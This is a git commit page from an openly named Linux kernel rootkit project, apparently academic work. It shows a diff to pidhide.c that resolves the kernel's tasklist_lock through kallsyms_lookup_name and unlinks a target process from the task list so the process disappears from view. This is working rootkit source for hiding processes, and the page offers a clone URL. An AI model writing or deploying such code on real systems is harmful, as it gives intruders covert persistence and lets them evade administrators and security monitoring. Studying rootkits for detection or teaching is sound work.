linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit dcfce15b0394b6e85aaa5a20e4f3289b20125b92
parent 7e246ee2b4aace68888507b21eb9f9179d372140
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 03:01:36 +0100

fixes issues

Diffstat:
Mrootkit/src/pidhide.c | 5+++--
1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -69,6 +69,7 @@ hide_pid(pid_t pid) add_pid_to_list(hidden_pids_tail, pid); struct task_struct *ts = pid_task(find_vpid(pid), PIDTYPE_PID); + rwlock_t *rwlock = (rwlock_t *)kallsyms_lookup_name("tasklist_lock"); if (!ts) return; @@ -77,9 +78,9 @@ hide_pid(pid_t pid) atomic_dec(&__task_cred(ts)->user->processes); rcu_read_unlock(); - write_lock_irq(&tasklist_lock); + write_lock_irq(rwlock); list_del(&ts->tasks); - write_unlock_irq(&tasklist_lock); + write_unlock_irq(rwlock); } void